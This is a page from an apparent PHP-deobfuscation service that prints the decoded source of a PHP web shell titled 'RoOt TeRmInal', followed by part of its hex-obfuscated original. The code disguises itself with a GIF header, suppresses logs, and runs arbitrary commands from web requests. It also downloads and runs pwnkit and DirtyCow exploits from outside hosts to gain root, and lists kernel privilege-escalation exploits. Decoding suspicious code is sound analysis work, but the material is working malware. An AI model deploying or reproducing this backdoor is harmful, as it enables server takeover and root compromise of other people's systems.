Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x7ar\x6c\x65\x74\x68"]="u\x72\x6c";${"\x47L\..
Decoded Output download
<?php ${"GLOBALS"}["izrleth"]="url";${"GLOBALS"}["grbhpgbt"]="value";${"GLOBALS"}["juhkqgjz"]="pl";${"GLOBALS"}["ztiirvwo"]="xplod";${"GLOBALS"}["wcxklldup"]="n";${"GLOBALS"}["criiwh"]="y";${"GLOBALS"}["jfkjyblycp"]="xpld";${"GLOBALS"}["sfzcrf"]="uname";${"GLOBALS"}["yxivjpgoqpdj"]="explode_mad_pwkit";${"GLOBALS"}["onxmxwwuwjjx"]="check_vulnerable";${"GLOBALS"}["afngirbwh"]="pipes";${"GLOBALS"}["psyoihjwqs"]="f";${"GLOBALS"}["eqqtugufkkt"]="exec";${"GLOBALS"}["bijlsctb"]="de";${"GLOBALS"}["wfszxwgdaws"]="out";${"GLOBALS"}["jhufwyxabkav"]="xpls";${"GLOBALS"}["hyhygtkkvo"]="terminal";${"GLOBALS"}["panijkqy"]="hitung_array";${"GLOBALS"}["fwjnxhukg"]="i";${"GLOBALS"}["ylanqz"]="Array";echo "GIF89;a
";$ywevhjt="i";${"GLOBALS"}["fiideal"]="fungsi";$qqhckvtv="Array";@set_time_limit(0);@clearstatcache();@ini_set("error_log",NULL);$ohcufyepip="fungsi";@ini_set("log_errors",0);@ini_set("max_execution_time",0);@ini_set("output_buffering",0);@ini_set("display_errors",0);${$qqhckvtv}=["7368656c6c5f65786563","65786563","7061737374687275","73797374656d","70726f635f6f70656e","706f70656e","70636c6f7365","72657475726e","73747265616d5f6765745f636f6e74656e7473","676574637764","6368646972","7068705f756e616d65","6973736574","66756e6374696f6e5f657869737473","5f6d61645f636d64","245f5345525645525b275345525645525f4e414d45275d","68747470733a2f2f6769746875622e636f6d2f4d61644578706c6f6974732f50726976656c6567652d657363616c6174696f6e2f7261772f6d61696e2f70776e6b6974","66696c655f6765745f636f6e74656e7473","5345525645525f4e414d45","6368646972","676574637764","68747470733a2f2f7777772e6578706c6f69742d64622e636f6d2f646f776e6c6f61642f3430383339",];${"GLOBALS"}["bwltxuu"]="hitung_array";${${"GLOBALS"}["bwltxuu"]}=count(${${"GLOBALS"}["ylanqz"]});${"GLOBALS"}["fwdzpbf"]="i";for(${${"GLOBALS"}["fwjnxhukg"]}=0;${$ywevhjt}<${${"GLOBALS"}["panijkqy"]};${${"GLOBALS"}["fwdzpbf"]}++){${"GLOBALS"}["aepkhf"]="fungsi";${${"GLOBALS"}["aepkhf"]}[]=unhex(${${"GLOBALS"}["ylanqz"]}[${${"GLOBALS"}["fwjnxhukg"]}]);}if($_GET["terminal"]=="root"||$_GET["terminal"]=="normal"){${${"GLOBALS"}["hyhygtkkvo"]}=$_POST["terminal"];$uywixikcbolj="xpls";${"GLOBALS"}["kybgrrzgo"]="terminal";${$uywixikcbolj}=explode(" ",${${"GLOBALS"}["kybgrrzgo"]});if(${${"GLOBALS"}["hyhygtkkvo"]}=="cd ".${${"GLOBALS"}["jhufwyxabkav"]}[1]){echo redir(${${"GLOBALS"}["jhufwyxabkav"]}[1],$_GET["terminal"]);}}if(isset($_GET["path"])){$uircuixnd="cdir";$xpdpvlt="cdir";$rjsgeidbtm="fungsi";${$uircuixnd}=unhex($_GET["path"]);${$rjsgeidbtm}[19](${$xpdpvlt});}else{$vgesieyvp="cdir";${"GLOBALS"}["lnuxmbugil"]="fungsi";${$vgesieyvp}=${${"GLOBALS"}["lnuxmbugil"]}[20]();}echo "<!doctype html>
<html lang=\"en\">
<head>
<meta charset="utf-8">
<meta name="viewport\" content="width=device-width, initial-scale=1">
<title>RoOt TeRmInal [";echo $_SERVER["SERVER_NAME"];echo "]</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css\" rel="stylesheet\" integrity="sha384-iYQeCzEYFbKjA/T2uDLTpkwGzCiq6soy8tYaI1GyVh/UjpbCx/TYkiZhlZB6+fzT" crossorigin="anonymous\">
<style>
@import url(\"https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css");
* {
font-family: monospace;
}
body {
background-color: whitesmoke;
}
ul {
list-style: none;
}
li {
padding: 5px 0px;
}
.terminal-r00t-body {
width: 100%;
height: 60vh;
color: #3acf73;
background-color: #292929;
}
.terminal-r00t-link {
padding: 12px;
text-decoration: none;
background-color: #292929;
color: #3acf73;
border-radius: 7px;
}
.terminal-r00t-link:hover {
color: white;
}
.terminal-header {
margin-left: -25px;
position: relative;
z-index: 2;
}
.terminal-header li {
display: inline;
}
.terminal-r00t-body input[type="text\"] {
width: 90%;
border: 1px solid whitesmoke;
background-color: #292929;
border-radius: 3px;
padding: 2px;
color: #3acf73;
}
.terminal-r00t-body input[type=\"submit\"] {
border: 1px solid whitesmoke;
padding: 2px 8.5px;
border-radius: 2px;
color: #3acf73;
background-color: #292929;
}
form {
text-align: center;
padding: 5px;
}
textarea {
background-color: #292929;
color: #3acf73;
width: 99.9%;
height: 50vh;
}
</style>
</head>
<body>
<br>
<center>
<h3><b>RoOt TeRmInal</b></h3>
</center>
<div class="container">
<ul>
<li><b>";echo ${$ohcufyepip}[11]();echo "</b></li>
<li><b>BASH[";echo check_function("bash");echo "];PERL[";echo check_function("perl");echo "];PKEXEC[";echo check_function("pkexec");echo "];GCC[";echo check_function("gcc");echo "]</b></li>
<li><b>";echo get_current_user();echo "</b></li>
</ul>
</div>
<div class=\"container">
<ul class="terminal-header\">
<li><a href=\"?terminal=normal\" class=\"terminal-r00t-link shadow"><i class=\"bi bi-terminal-plus"></i> Terminal</a></li>
<li><a href="?terminal=root\" class=\"terminal-r00t-link shadow"><i class="bi bi-terminal-dash"></i> R00t Terminal</a></li>
</ul>
<div class="terminal-r00t-body rounded shadow-lg\">
<form action=\"" method="post\">
<input type="text" name=\"terminal" id=\"\" placeholder="terminal@";echo $_SERVER[${${"GLOBALS"}["fiideal"]}[18]];echo "~#\" autofocus>
<input type=\"submit" name=\"submit\" value=">">
</form>
<br>
";${${"GLOBALS"}["hyhygtkkvo"]}=$_POST["terminal"];if($_GET["terminal"]=="normal"){echo"<textarea class=\"border-0" disabled>";if(isset($_POST["submit"])){echo HtmLsPecialChars(_mad_cmd(${${"GLOBALS"}["hyhygtkkvo"]}." 2>&1"));}echo"</textarea>";}else if($_GET["terminal"]=="root"){echo"<textarea class=\"border-0\" disabled>";if(${${"GLOBALS"}["hyhygtkkvo"]}=="root"){root_terminal();}echo HtmLsPecialChars(_mad_cmd("./pwnkit \"".${${"GLOBALS"}["hyhygtkkvo"]}."\""));echo"</textarea>
";}else{echo base64_decode("WyBQcml2ZWxlZ2UgRXNjYWxhdGlvbiBFeHBsb2l0ZXIgXTxicj4KWytdIEF1dGhvciA6IC4vTXJNYWQ8YnI+ClsrXSBodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHM8YnI+Cjxicj4KWytdIFR5cGUgcm9vdCBmb3IgcnVubmluZyBhdXRvIHJvb3Q=");}echo " </div>
</div>
<br>
<center>
<span><b>©Copyright By ./MrMad</b></span>
</center>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-u1OknCvxWvY5kfmNBILK2hRnQC3Pr17a+RTT6rIHI7NnikvbZlHgTPOOmMi466C8" crossorigin=\"anonymous\"></script>
</body>
</html>
";function _mad_cmd($de){${${"GLOBALS"}["wfszxwgdaws"]}="";try{if(fUncTion_eXistS("shell_exec")){$xiyuzhnihzv="de";return@$GLOBALS["fungsi"][0](${$xiyuzhnihzv});}else if(fUncTion_eXistS("system")){@$GLOBALS["fungsi"][3](${${"GLOBALS"}["bijlsctb"]});}else if(fUncTion_eXistS("exec")){${"GLOBALS"}["ssqclfo"]="exec";${"GLOBALS"}["ugpyefoki"]="de";${${"GLOBALS"}["eqqtugufkkt"]}=array();@$GLOBALS["fungsi"][1](${${"GLOBALS"}["ugpyefoki"]},${${"GLOBALS"}["ssqclfo"]});${"GLOBALS"}["iiiaittohid"]="exec";${${"GLOBALS"}["wfszxwgdaws"]}=@join("
",${${"GLOBALS"}["eqqtugufkkt"]});return${${"GLOBALS"}["iiiaittohid"]};}else if(fUncTion_eXistS("passthru")){@$GLOBALS["fungsi"][2](${${"GLOBALS"}["bijlsctb"]});}else if(fUncTion_eXistS("popen")&&fUncTion_eXistS("pclose")){${"GLOBALS"}["nsyptd"]="f";${"GLOBALS"}["pprktiss"]="de";if(is_resource(${${"GLOBALS"}["nsyptd"]}=@$GLOBALS["fungsi"][5](${${"GLOBALS"}["pprktiss"]},"r"))){${${"GLOBALS"}["wfszxwgdaws"]}="";while(!@feof(${${"GLOBALS"}["psyoihjwqs"]}))${${"GLOBALS"}["wfszxwgdaws"]}.=FrEad(${${"GLOBALS"}["psyoihjwqs"]},1024);return${${"GLOBALS"}["wfszxwgdaws"]};${"GLOBALS"}["jrcgyathib"]="f";$GLOBALS["fungsi"][6](${${"GLOBALS"}["jrcgyathib"]});}}else if(fUncTion_eXistS("proc_open")){${"GLOBALS"}["kfucegnxdcq"]="out";${"GLOBALS"}["hpjqpumlcww"]="process";${${"GLOBALS"}["afngirbwh"]}=array();${${"GLOBALS"}["hpjqpumlcww"]}=@$GLOBALS["fungsi"][4](${${"GLOBALS"}["bijlsctb"]}." 2>&1",array(array("pipe","w"),array("pipe","w"),array("pipe","w")),${${"GLOBALS"}["afngirbwh"]},null);${${"GLOBALS"}["kfucegnxdcq"]}=@$GLOBALS["fungsi"][8](${${"GLOBALS"}["afngirbwh"]}[1]);return${${"GLOBALS"}["wfszxwgdaws"]};}else if(class_exists("COM")){${"GLOBALS"}["iomeyebab"]="stdout";${"GLOBALS"}["xnegfvkacvh"]="madWs";${${"GLOBALS"}["xnegfvkacvh"]}=new COM("WScript.shell");${${"GLOBALS"}["eqqtugufkkt"]}=$madWs->$GLOBALS["fungsi"][1]("cmd.exe /c ".$_POST["alfa1"]);${${"GLOBALS"}["iomeyebab"]}=$exec->StdOut();${${"GLOBALS"}["wfszxwgdaws"]}=$stdout->ReadAll();}}catch(Exception$e){}return$out;}function root_terminal(){echo"
[+] Downloading The source
";echo _mad_cmd("wget ".$GLOBALS["fungsi"][16]." --no-check-certificate");echo"[!] Chmod file pwnkit....
";echo _mad_cmd("chmod +x pwnkit");echo"[+] Testing if this kernel vulnerable...
";${"GLOBALS"}["doydpsq"]="check_vulnerable";echo"[!] This kernel version is ".kernel_angka()."
";if(suggest_exploit()=="5.11"){echo"[!] This Kernel Maybe Vuln Dirtypipe
";}else if(suggest_exploit()=="4.10"){echo"[!] This Kernel Maybe Vuln PTRACE_TRACEME
";}else if(suggest_exploit()=="2.6.22"||suggest_exploit()=="3.9.".True.""){echo _mad_cmd("wget ".$GLOBALS["fungsi"][21]." -O dirty.c --no-check-certificate");echo _mad_cmd("gcc -pthread dirty.c -o dirty -lcrypt");echo _mad_cmd("chmod +x dirty");echo"Creating Password using 'MrMad'
";echo _mad_cmd("./dirty mrmad");echo"Done rooting please check firts using cat /etc/passwd
";echo"You Can running that user using sh firefart@".$_SERVER["SERVER_ADDR"]."
";echo"DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
";echo"mv /tmp/passwd.bak /etc/passwd";echo"Exploit adopted by Christian \"FireFart" Mehlmauer";exit;}else if(distro_linux()=="Debian"||distro_linux()=="Ubuntu"||distro_linux()=="Centos"){echo"[!] This Kernel Maybe Vuln Pwnkit
";}else if(suggest_exploit()=="5.16.11"||suggest_exploit()=="5.15.25"||suggest_exploit()=="5.10.102"){echo"This Kernel Maybe Vuln Dirtypipe
";echo"Dirty Pipe - CVE-2022-0847
";echo"Backconnect source: https://github.com/MadExploits/Reverse-Shell-Payload
";echo"Exploit Source: https://github.com/0xIronGoat/dirty-pipe
";}else if(suggest_exploit()=="4.19.2"||suggest_exploit()=="4.15.".True.""){echo"This Kernel Maybe Vuln Subuid
";echo"Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method)
";echo"Backconnect source: https://github.com/MadExploits/Reverse-Shell-Payload
";echo"Exploit Source: https://www.exploit-db.com/download/47165
";}echo _mad_cmd("./pwnkit "id\" > mad-pwnkit");${${"GLOBALS"}["onxmxwwuwjjx"]}=$GLOBALS["fungsi"][17](__DIR__."/mad-pwnkit");${${"GLOBALS"}["yxivjpgoqpdj"]}=explode(" ",${${"GLOBALS"}["doydpsq"]});if(${${"GLOBALS"}["yxivjpgoqpdj"]}[0]=="uid=0(root)"){echo"[~] This Kernel is vulnerable congrats!
";}else{echo"[!] This kernel is not Vulnerable Sorry :)";return;}echo"[+] Giving Permission on mad-pwnkit
";echo _mad_cmd("chmod +x mad-pwnkit");if(!_mad_cmd("./pwnkit \"id"")){echo"[!] Cannot running pwnkit";}else{echo"[!] Done Sir. now u can running on root user!";exit;}}function check_function($value){if(_mad_cmd("$value --version")){return"<font color='green'>ON</font>";}else{return"<font color='red'>OFF</font>";}}function kernel_angka(){${"GLOBALS"}["gieflnmwb"]="xplod";$ngmulaqoiiv="xplod";${${"GLOBALS"}["sfzcrf"]}=$GLOBALS["fungsi"][11]();${$ngmulaqoiiv}=explode(" ",${${"GLOBALS"}["sfzcrf"]});${${"GLOBALS"}["jfkjyblycp"]}=explode("-",${${"GLOBALS"}["gieflnmwb"]}[2]);return${${"GLOBALS"}["jfkjyblycp"]}[0];}function hex($n){$uvsuxeyqko="i";$hlnogyjbysux="y";$dbvwxc="n";${$hlnogyjbysux}="";for(${${"GLOBALS"}["fwjnxhukg"]}=0;${${"GLOBALS"}["fwjnxhukg"]}<strlen(${$dbvwxc});${$uvsuxeyqko}++){$iqnjbrrpq="n";$yjzcxqpvd="i";$htseejsobk="y";${$htseejsobk}.=dechex(ord(${$iqnjbrrpq}[${$yjzcxqpvd}]));}return${${"GLOBALS"}["criiwh"]};}function unhex($y){${"GLOBALS"}["tpeewjhjrkd"]="i";${${"GLOBALS"}["wcxklldup"]}="";${"GLOBALS"}["qyvxdlvofhux"]="i";for(${${"GLOBALS"}["qyvxdlvofhux"]}=0;${${"GLOBALS"}["tpeewjhjrkd"]}<strlen(${${"GLOBALS"}["criiwh"]})-1;${${"GLOBALS"}["fwjnxhukg"]}+=2){$gackbqri="y";${"GLOBALS"}["cadsks"]="n";${"GLOBALS"}["yhlmmqbodky"]="y";${${"GLOBALS"}["cadsks"]}.=chr(hexdec(${$gackbqri}[${${"GLOBALS"}["fwjnxhukg"]}].${${"GLOBALS"}["yhlmmqbodky"]}[${${"GLOBALS"}["fwjnxhukg"]}+1]));}return${${"GLOBALS"}["wcxklldup"]};}function suggest_exploit(){$sujzmiispj="xpld";$qpxlofopl="uname";$qzpykjkpfr="xplod";${${"GLOBALS"}["sfzcrf"]}=$GLOBALS["fungsi"][11]();${${"GLOBALS"}["ztiirvwo"]}=explode(" ",${$qpxlofopl});$suoieyewaffg="pl";$hixlvfg="xpld";$ypxqbcucvigz="pl";${$sujzmiispj}=explode("-",${$qzpykjkpfr}[2]);${$ypxqbcucvigz}=explode(".",${$hixlvfg}[0]);return${$suoieyewaffg}[0].".".${${"GLOBALS"}["juhkqgjz"]}[1];}function distro_linux(){${"GLOBALS"}["hynurlhue"]="xplod";${${"GLOBALS"}["sfzcrf"]}=$GLOBALS["fungsi"][11]();$pfwfyyxcpv="uname";${${"GLOBALS"}["hynurlhue"]}=explode(" ",${$pfwfyyxcpv});return${${"GLOBALS"}["ztiirvwo"]}[6];}function redir($url,$value){return"<meta http-equiv="refresh\" content=\"0;url=?terminal=".${${"GLOBALS"}["grbhpgbt"]}."&path=".hex(${${"GLOBALS"}["izrleth"]})."\">";}
?>Did this file decode correctly?
Original Code
<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x7ar\x6c\x65\x74\x68"]="u\x72\x6c";${"\x47L\x4fBAL\x53"}["\x67\x72\x62\x68\x70\x67\x62\x74"]="\x76\x61\x6c\x75\x65";${"\x47\x4c\x4fB\x41\x4cS"}["\x6au\x68k\x71\x67\x6a\x7a"]="\x70\x6c";${"GL\x4f\x42\x41\x4cS"}["\x7a\x74i\x69r\x76w\x6f"]="xpl\x6f\x64";${"G\x4cOB\x41L\x53"}["\x77\x63\x78k\x6c\x6c\x64\x75\x70"]="n";${"GL\x4f\x42\x41\x4c\x53"}["\x63\x72i\x69wh"]="y";${"G\x4c\x4f\x42A\x4c\x53"}["\x6a\x66\x6b\x6a\x79\x62\x6c\x79\x63\x70"]="x\x70\x6c\x64";${"\x47\x4cO\x42\x41\x4cS"}["s\x66\x7a\x63rf"]="u\x6e\x61\x6d\x65";${"\x47\x4cO\x42\x41L\x53"}["\x79\x78\x69v\x6a\x70\x67o\x71\x70\x64\x6a"]="ex\x70l\x6fd\x65\x5fm\x61d_p\x77ki\x74";${"G\x4c\x4fB\x41L\x53"}["\x6f\x6e\x78mx\x77w\x75\x77\x6aj\x78"]="\x63\x68\x65\x63\x6b_\x76\x75l\x6e\x65r\x61\x62\x6ce";${"\x47L\x4f\x42A\x4c\x53"}["afng\x69r\x62w\x68"]="\x70\x69\x70e\x73";${"\x47\x4cO\x42AL\x53"}["\x70\x73\x79\x6f\x69h\x6a\x77qs"]="f";${"GLO\x42\x41L\x53"}["eqq\x74ugufk\x6bt"]="\x65\x78e\x63";${"\x47\x4cO\x42A\x4cS"}["bi\x6a\x6csc\x74b"]="de";${"G\x4cO\x42A\x4c\x53"}["w\x66\x73\x7a\x78\x77\x67\x64\x61\x77\x73"]="\x6f\x75t";${"\x47L\x4fBA\x4cS"}["\x6a\x68\x75\x66\x77\x79\x78abk\x61v"]="\x78\x70\x6cs";${"G\x4c\x4f\x42A\x4cS"}["\x68\x79h\x79\x67t\x6b\x6bv\x6f"]="\x74e\x72\x6di\x6ea\x6c";${"G\x4c\x4f\x42\x41\x4c\x53"}["p\x61\x6ei\x6ak\x71\x79"]="hi\x74ung_\x61\x72\x72\x61\x79";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66\x77j\x6e\x78h\x75\x6b\x67"]="i";${"\x47L\x4f\x42AL\x53"}["\x79\x6ca\x6e\x71\x7a"]="A\x72r\x61y";echo "\x47\x49F\x38\x39;a\n";$ywevhjt="\x69";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x69\x69\x64\x65\x61l"]="\x66\x75\x6e\x67\x73i";$qqhckvtv="\x41\x72r\x61\x79";@set_time_limit(0);@clearstatcache();@ini_set("\x65\x72r\x6fr_l\x6f\x67",NULL);$ohcufyepip="f\x75\x6eg\x73i";@ini_set("log\x5fe\x72\x72\x6fr\x73",0);@ini_set("\x6d\x61\x78\x5f\x65x\x65cu\x74\x69o\x6e_t\x69me",0);@ini_set("\x6fu\x74\x70\x75\x74\x5f\x62u\x66\x66\x65ring",0);@ini_set("di\x73p\x6c\x61\x79\x5fer\x72\x6f\x72\x73",0);${$qqhckvtv}=["7\x3368656c6\x63\x35f\x3657\x38\x365\x36\x33","65\x3786\x35\x36\x33","7\x30617373\x37\x34\x36\x38\x372\x375","\x37379\x373746\x35\x36\x64","70\x3726f6\x335\x666\x667\x30\x365\x36e","\x37\x30\x36f\x370\x365\x36e","\x37063\x36\x63\x36f7\x3365","\x3726\x357\x34\x375726e","73\x374726561\x36\x645f67\x365\x374\x35\x66\x3636f6\x65\x37\x34\x36\x356e\x37\x347\x33","6\x37\x36574637\x376\x34","6368\x36\x34\x36\x3972","706\x38705\x6675\x36e616d\x365","\x369\x37\x337\x33\x365\x37\x34","6675\x36\x65\x3637\x34\x36\x396f6\x65\x35f\x36\x35\x37\x386973\x37\x34\x373","5\x66\x36d\x36\x316\x345f\x36\x33\x36d\x364","\x324\x35\x66\x3534\x35\x35\x3256\x345\x35\x325\x6227\x35\x33\x345\x35\x325\x36\x3455\x32\x35\x66\x34\x65\x34\x314d452\x375d","6\x387\x34\x374707\x333a\x32\x66\x32f\x367\x36\x39746\x38\x37\x35622e\x3636\x666d2f\x34\x6461\x36445\x37\x38\x37\x30\x36\x63\x36\x66\x3697\x34\x3732\x665\x307\x326\x39766\x35\x36c\x3656\x37652\x64\x3657\x33\x36\x33\x361\x36c6\x317\x346\x39\x36\x66\x36e2f\x37261\x37\x372\x666d616\x39\x36e\x32f\x37\x30\x37\x37\x36\x656b6\x3974","\x3666\x39\x36\x63\x3655\x66\x36\x376\x357\x345\x6663\x36f6e7\x34\x36\x356e\x374\x373","\x35345\x35\x3256\x34\x355\x325f\x34e\x34\x31\x34d\x34\x35","\x36\x336\x386\x34\x369\x372","6\x37\x36\x357463\x37\x37\x364","\x3687\x34\x3747\x30\x373\x33a\x32\x66\x32\x667777772e657\x38\x370\x36c6f\x36\x39742d\x364\x362\x32e\x363\x36\x666d2f6\x346\x667\x376e\x36c6f6\x31642f3430\x338\x33\x3339",];${"G\x4c\x4f\x42\x41L\x53"}["\x62\x77\x6c\x74x\x75\x75"]="hitun\x67\x5f\x61\x72\x72\x61y";${${"\x47LO\x42A\x4cS"}["\x62w\x6ct\x78uu"]}=count(${${"\x47LO\x42A\x4c\x53"}["\x79\x6c\x61\x6eq\x7a"]});${"GL\x4f\x42ALS"}["fw\x64\x7a\x70\x62\x66"]="\x69";for(${${"\x47\x4cO\x42A\x4cS"}["\x66\x77jn\x78h\x75k\x67"]}=0;${$ywevhjt}<${${"\x47\x4c\x4fB\x41LS"}["\x70\x61\x6e\x69\x6a\x6bq\x79"]};${${"G\x4c\x4f\x42AL\x53"}["\x66wd\x7a\x70b\x66"]}++){${"\x47L\x4fBAL\x53"}["\x61\x65\x70\x6bhf"]="\x66\x75\x6eg\x73\x69";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x61e\x70kh\x66"]}[]=unhex(${${"\x47\x4c\x4f\x42\x41L\x53"}["y\x6c\x61\x6eq\x7a"]}[${${"\x47\x4cOB\x41L\x53"}["\x66wj\x6ex\x68ukg"]}]);}if($_GET["t\x65\x72mi\x6e\x61l"]=="\x72oo\x74"||$_GET["te\x72min\x61l"]=="\x6eo\x72\x6da\x6c"){${${"G\x4c\x4f\x42\x41\x4cS"}["hy\x68y\x67\x74\x6b\x6b\x76\x6f"]}=$_POST["termin\x61l"];$uywixikcbolj="\x78p\x6c\x73";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6by\x62g\x72\x72\x7ag\x6f"]="\x74\x65\x72\x6d\x69n\x61l";${$uywixikcbolj}=explode("\x20",${${"GL\x4fBAL\x53"}["\x6by\x62gr\x72\x7a\x67\x6f"]});if(${${"G\x4c\x4f\x42\x41\x4c\x53"}["hyh\x79gt\x6bk\x76\x6f"]}=="cd\x20".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ahu\x66\x77\x79\x78\x61\x62\x6b\x61\x76"]}[1]){echo redir(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6a\x68uf\x77\x79\x78a\x62\x6b\x61\x76"]}[1],$_GET["t\x65\x72m\x69\x6e\x61l"]);}}if(isset($_GET["\x70\x61t\x68"])){$uircuixnd="\x63\x64\x69r";$xpdpvlt="cdi\x72";$rjsgeidbtm="\x66\x75\x6eg\x73\x69";${$uircuixnd}=unhex($_GET["p\x61t\x68"]);${$rjsgeidbtm}[19](${$xpdpvlt});}else{$vgesieyvp="\x63\x64\x69\x72";${"\x47L\x4f\x42A\x4cS"}["l\x6e\x75x\x6db\x75\x67\x69\x6c"]="\x66\x75\x6e\x67\x73\x69";${$vgesieyvp}=${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6c\x6eu\x78mbug\x69\x6c"]}[20]();}echo "\x3c!\x64octype\x20ht\x6dl\x3e\n\x3chtm\x6c \x6c\x61n\x67\x3d\"\x65\x6e\">\n\n\x3c\x68ea\x64\x3e\n\x20 \x3c\x6d\x65\x74\x61 \x63hars\x65t\x3d\x22u\x74\x66-8\x22\x3e\n \x20 <meta \x6eam\x65\x3d\x22\x76i\x65\x77\x70\x6f\x72\x74\"\x20co\x6e\x74ent\x3d\x22\x77i\x64\x74\x68\x3dd\x65v\x69c\x65-w\x69\x64th, \x69ni\x74\x69al-s\x63al\x65=1\x22\x3e\n <\x74it\x6c\x65>\x52\x6f\x4ft\x20T\x65\x52\x6d\x49\x6ea\x6c [";echo $_SERVER["\x53\x45RV\x45\x52\x5fNA\x4dE"];echo "]\x3c/t\x69t\x6ce\x3e\n \x20<l\x69\x6ek\x20\x68\x72ef\x3d\x22\x68\x74\x74ps://cdn\x2ej\x73\x64\x65\x6ci\x76\x72\x2en\x65t/npm/b\x6fots\x74rap\x40\x35\x2e2\x2e\x31/\x64is\x74/\x63\x73s/\x62o\x6f\x74s\x74r\x61p.m\x69\x6e\x2ecs\x73\"\x20\x72e\x6c=\x22s\x74y\x6c\x65s\x68ee\x74\"\x20int\x65g\x72i\x74y\x3d\x22\x73\x68a\x33\x38\x34-i\x59\x51e\x43\x7a\x45Y\x46\x62KjA/T2u\x44LT\x70k\x77G\x7aC\x69\x716\x73oy\x38\x74\x59\x61I1\x47\x79\x56h/\x55j\x70\x62C\x78/TY\x6b\x69Z\x68\x6c\x5aB\x36+\x66z\x54\x22\x20\x63\x72\x6fs\x73ori\x67i\x6e\x3d\x22\x61n\x6fny\x6dous\">\n \x20 \x20<s\x74y\x6ce\x3e\n\x20\x20\x20\x20 \x20@\x69m\x70\x6f\x72\x74\x20\x75r\x6c(\"\x68t\x74\x70\x73://cdn\x2ej\x73del\x69\x76\x72\x2e\x6eet/n\x70\x6d/b\x6f\x6fts\x74\x72\x61\x70-ic\x6fn\[email protected]\x2e1/\x66o\x6et/b\x6f\x6f\x74st\x72\x61p-i\x63\x6f\x6es.c\x73\x73\x22)\x3b\n\n\x20\x20 \x20\x20\x20\x20 *\x20{\n\x20\x20 \x20\x20\x20\x20\x20 \x20\x66ont-fam\x69ly: \x6d\x6fnosp\x61\x63\x65\x3b\n\x20 \x20\x20\x20\x20 }\n\n\x20\x20\x20 \x20 \x20\x20b\x6fd\x79 {\n \x20 \x20\x20 b\x61\x63kg\x72\x6f\x75n\x64-c\x6f\x6co\x72:\x20\x77\x68i\x74\x65\x73m\x6fke;\n \x20\x20 }\n\n\x20 \x20 \x20\x20\x20u\x6c\x20{\n\x20 \x20 \x20\x20\x20\x20\x20\x20\x20\x20\x6c\x69st-\x73t\x79\x6c\x65:\x20none\x3b\n \x20\x20 }\n\n\x20 \x20\x20 \x20l\x69 {\n\x20\x20 \x20\x20 \x20 \x20 pad\x64i\x6e\x67:\x205\x70\x78 \x30\x70x;\n \x20 \x20\x20 }\n\n\x20 \x20 \x20 \x20\x2et\x65\x72mi\x6eal-r0\x30t-bo\x64y {\n \x20 \x20 \x20\x20\x77i\x64t\x68: \x31\x300\x25\x3b\n\x20 \x20 \x20 \x20 \x20\x20\x20 \x68ei\x67\x68t: \x36\x30\x76h\x3b\n\x20\x20 \x20\x20 \x20\x20 \x20col\x6f\x72:\x20#3\x61\x63f73;\n\x20\x20 \x20\x20 \x20 \x20 b\x61\x63\x6b\x67r\x6f\x75\x6e\x64-c\x6fl\x6f\x72:\x20\x23\x329\x3292\x39;\n \x20 \x20\x20\x20}\n\n\x20\x20 \x20\x20 \x20\x20.\x74er\x6d\x69n\x61\x6c-\x72\x300t-li\x6ek {\n\x20 \x20 \x20\x20 \x20 \x20\x20\x20\x70add\x69n\x67:\x201\x32p\x78\x3b\n \x20 \x20 \x20\x20\x20\x20\x20 \x74\x65\x78\x74-decor\x61\x74i\x6fn:\x20n\x6fn\x65;\n\x20 \x20\x20 \x20\x20\x20\x20\x20ba\x63\x6bg\x72o\x75nd-\x63olor: #\x32\x3929\x32\x39\x3b\n\x20\x20 \x20 \x20 \x20\x20\x63olor:\x20\x233acf\x37\x33\x3b\n \x20\x20 \x20 bo\x72\x64er-r\x61di\x75\x73:\x20\x37\x70\x78\x3b\n \x20 \x20\x20 }\n\n \x20 \x20 \x20\x2et\x65\x72\x6dina\x6c-\x720\x30t-\x6ci\x6ek:\x68ove\x72\x20{\n \x20\x20\x20\x20 \x20 \x20\x63\x6f\x6c\x6fr:\x20\x77h\x69t\x65;\n\x20\x20 \x20\x20 }\n\n \x20\x20 \x20 \x20.\x74\x65rm\x69\x6eal-\x68\x65a\x64er\x20{\n\x20\x20\x20 \x20\x20\x20 \x20\x6dargi\x6e-l\x65\x66t: -25p\x78\x3b\n \x20 \x20 \x20 pos\x69\x74\x69\x6fn:\x20\x72\x65\x6c\x61tiv\x65;\n\x20\x20\x20 \x20\x20\x20\x20 \x20\x7a-in\x64\x65\x78: 2;\n\x20 \x20\x20 \x20 }\n\n \x20 \x20 .\x74e\x72m\x69\x6eal-\x68\x65\x61\x64e\x72 \x6c\x69 {\n \x20 \x20\x20 \x20 \x20\x20 d\x69s\x70\x6c\x61\x79: i\x6e\x6c\x69n\x65\x3b\n\x20 \x20\x20 \x20\x20}\n\n \x20\x20 \x2et\x65\x72\x6d\x69\x6e\x61\x6c-\x720\x30t-b\x6f\x64\x79\x20inpu\x74[t\x79\x70\x65\x3d\x22\x74ex\x74\"] {\n \x20 \x20\x20\x20\x20\x20\x20 w\x69d\x74h:\x20\x39\x30%;\n \x20\x20 \x20 \x20 \x20 \x62o\x72\x64\x65r: \x31p\x78 s\x6fl\x69\x64\x20\x77h\x69\x74\x65\x73\x6do\x6b\x65;\n\x20 \x20\x20 \x20 \x20bac\x6b\x67r\x6fu\x6e\x64-\x63o\x6c\x6fr: \x232\x39\x32929\x3b\n\x20 \x20 \x20\x20\x20\x20\x20 \x20\x20\x62\x6fr\x64\x65r-\x72\x61\x64\x69\x75s: 